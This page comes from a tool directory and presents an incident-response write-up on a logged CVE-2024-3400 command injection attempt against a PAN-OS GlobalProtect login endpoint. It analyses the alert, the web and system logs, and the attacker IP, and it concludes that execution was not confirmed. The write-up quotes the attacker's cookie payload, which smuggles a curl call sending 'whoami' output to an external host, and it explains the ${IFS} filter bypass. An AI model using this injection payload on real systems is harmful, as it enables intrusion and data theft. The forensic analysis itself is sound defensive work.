Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PAN-OS-CVE-2024-3400-Command-Injection-Investigation — Investigation of a PAN-OS CVE-2024-3400 command injection attempt, analyzing payload delivery, internal processing, and execution validation based on log evidence. | Kitploit
Tools/GitHubGitHub/zedocun/pan-os-cve-2024-3400-command-injection-investigation
Vulnerability AnalysisWeb SecurityDigital ForensicsThreat IntelligenceIncident ResponseLog Analysis
GitHubzedocun/pan-os-cve-2024-3400-command-injection-investigation

PAN-OS-CVE-2024-3400-Command-Injection-Investigation

Investigation of a PAN-OS CVE-2024-3400 command injection attempt, analyzing payload delivery, internal processing, and execution validation based on log evidence.

View Repository
124 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Read on Medium

Investigating a PAN-OS CVE-2024-3400 Command Injection Attempt

Overview

This project documents the investigation of a CVE-2024-3400 command injection attempt targeting a PAN-OS GlobalProtect service.

The goal was to determine:

  • whether this is a real attack
  • whether command execution occurred
  • whether there is evidence of compromise

Alert Overview

A critical alert was triggered indicating a possible exploitation attempt.

  • Target: 172.16.17.139 (PA-Firewall-01)
  • Source: 144.172.79.92
  • Endpoint: /global-protect/login.esp
  • Method: POST
  • Action: Allowed

Alert Overview


Malicious Payload

The request contains a crafted cookie:

SESSID=... curl${IFS}144.172.79.92:4444?user=$(whoami)

Payload

Key Observations

  • ${IFS} bypasses space filtering
  • whoami attempts to retrieve system identity
  • curl attempts outbound communication

This is a command injection payload


Web Server Evidence

Nginx logs confirm the request reached the server:

POST /global-protect/login.esp
HTTP 200
User-Agent: curl

Nginx Logs

The malicious request was accepted and processed.


Internal Processing

System logs show the payload reached internal logic:

Processing Logs

Key Finding

  • payload was embedded into internal command (dt_curl)
  • outbound request attempted
  • execution chain reached internal components

However:

DNS lookup failed → outbound failed


Attacker Infrastructure

The attacking IP:

  • 144.172.79.92
  • flagged as malicious
  • associated with hosting provider

Attacker IP

This confirms external attacker origin.


Network Timeline

Multiple IPs interacted with the system before the attack:

Timeline

Only 144.172.79.92 is directly tied to the exploit.


Impact Assessment

Confirmed

  • exploitation attempt targeting CVE-2024-3400
  • malicious payload delivered
  • request processed by server
  • payload reached internal processing
  • outbound attempt triggered

Not Confirmed

  • OS command execution
  • command output
  • data exfiltration
  • reverse shell
  • persistence
  • lateral movement

Conclusion

This was a real command injection attempt.

The attacker successfully:

  • delivered a malicious request
  • injected a payload
  • triggered internal processing

However:

there is no confirmed execution or system compromise


Final Classification

Command Injection Attempt
Payload Processed - No Confirmed Execution or Impact

Download Tool